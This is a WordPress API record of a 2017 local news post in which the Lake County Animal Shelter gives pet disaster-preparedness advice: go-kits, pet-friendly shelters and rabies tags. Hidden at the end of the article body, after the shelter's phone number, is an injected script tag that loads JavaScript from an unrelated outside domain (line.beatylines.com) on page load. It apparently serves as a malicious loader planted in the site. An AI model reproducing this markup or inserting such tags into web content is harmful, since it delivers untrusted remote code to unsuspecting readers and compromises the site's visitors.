{"id":212099,"date":"2017-05-11T13:41:51","date_gmt":"2017-05-11T17:41:51","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=212099"},"modified":"2017-11-04T14:55:40","modified_gmt":"2017-11-04T18:55:40","slug":"lake-county-animal-shelter-helps-families-become-pet-prepared-emergencies","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/lake-county-animal-shelter-helps-families-become-pet-prepared-emergencies\/","title":{"rendered":"Lake County Animal Shelter helps families become \u2018pet prepared\u2019 during emergencies"},"content":{"rendered":"<p><strong>TAVARES <\/strong>\u2014 In recognition of National Animal Disaster Preparedness Day on <span data-term=\"goog_1811854332\">May 13<\/span>, the Lake County Animal Shelter is encouraging pet parents to consider their animals in their emergency planning.<\/p>\n<p>\u201cWith hurricane season fast approaching, we would like to remind residents to have a plan for their pets, who sometimes become lost or separated during a disaster,\u201d said Suzi Springsteen-Marks, Lake County Animal Shelter manager. \u201cRather than flood the shelter with lost pets following a crisis, it is our goal to keep families and their pets together during and after an emergency.\u201d<\/p>\n<p>The Lake County Animal Shelter, Lake County Emergency Management and Hill\u2019s Pet Nutrition suggest families build a pet go-kit. This kit should include: basic first aid items, a three-day supply of bottled water and pet food in a waterproof container, a safety harness and leash, waste cleanup supplies, medications and a copy of the pet\u2019s medical records, a list of veterinarians and local pet care organizations, information on the pet\u2019s feeding routine and any behavioral issues, and comfort items such as a blanket or favorite toy. Pet owners may also consider displaying a pet rescue decal on front doors or windows to let first responders know there is a pet inside the house. Residents should also identify a location to take their pet if they must evacuate the area.<\/p>\n<p>Residents should be aware that all Lake County primary and special needs emergency shelters are pet-friendly. Pets must be brought to shelters in a carrier that is marked with the owner\u2019s name, address, and two phone numbers. Owners must have documentation of up-to-date rabies vaccinations for their pets, and owners are responsible for taking care of their pets.<\/p>\n<p>To help ensure a pet\u2019s safety during an emergency, it is important to have proper, up-to-date pet identification, such as a microchip or collar ID tag. Lake County requires pets to have a county tag proving they have had their rabies vaccination. To obtain a license, pet owners can visit their local veterinarian, the Lake County Animal Shelter located at 28123 County Road 561 in Tavares or\u00a0<a href=\"http:\/\/www.petdata.com\/\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.PetData.com&amp;source=gmail&amp;ust=1494541234263000&amp;usg=AFQjCNGUrKHMhAWHLCYA2hyzBHfOvUpNAg\">www.PetData.com<\/a>.<\/p>\n<p>For more information about the Lake County Animal Shelter, to adopt or volunteer, visit\u00a0<a href=\"http:\/\/www.lakecountyfl.gov\/LCAS\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.lakecountyfl.gov\/LCAS&amp;source=gmail&amp;ust=1494541234263000&amp;usg=AFQjCNHb6Cdkn_zoTPfpnPOpDSDtp0ZvSg\">www.lakecountyfl.gov\/LCAS<\/a> or call <a href=\"tel:(352)%20343-9688\">352-343-9688<\/a>.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TAVARES \u2014 In recognition of National Animal Disaster Preparedness Day on May 13, the Lake County Animal Shelter is encouraging pet parents to consider their&#8230;<\/p>\n","protected":false},"author":26806,"featured_media":212100,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[1374,2457,2619,389,79,80,690,1732,1381,1730],"class_list":["post-212099","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-animal","tag-animals","tag-emergencies","tag-emergency","tag-lake","tag-lake-county","tag-lakeco","tag-pet","tag-pets","tag-shelter","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/05\/pexels-photo-137020.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/212099","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=212099"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/212099\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/212100"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=212099"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=212099"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=212099"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}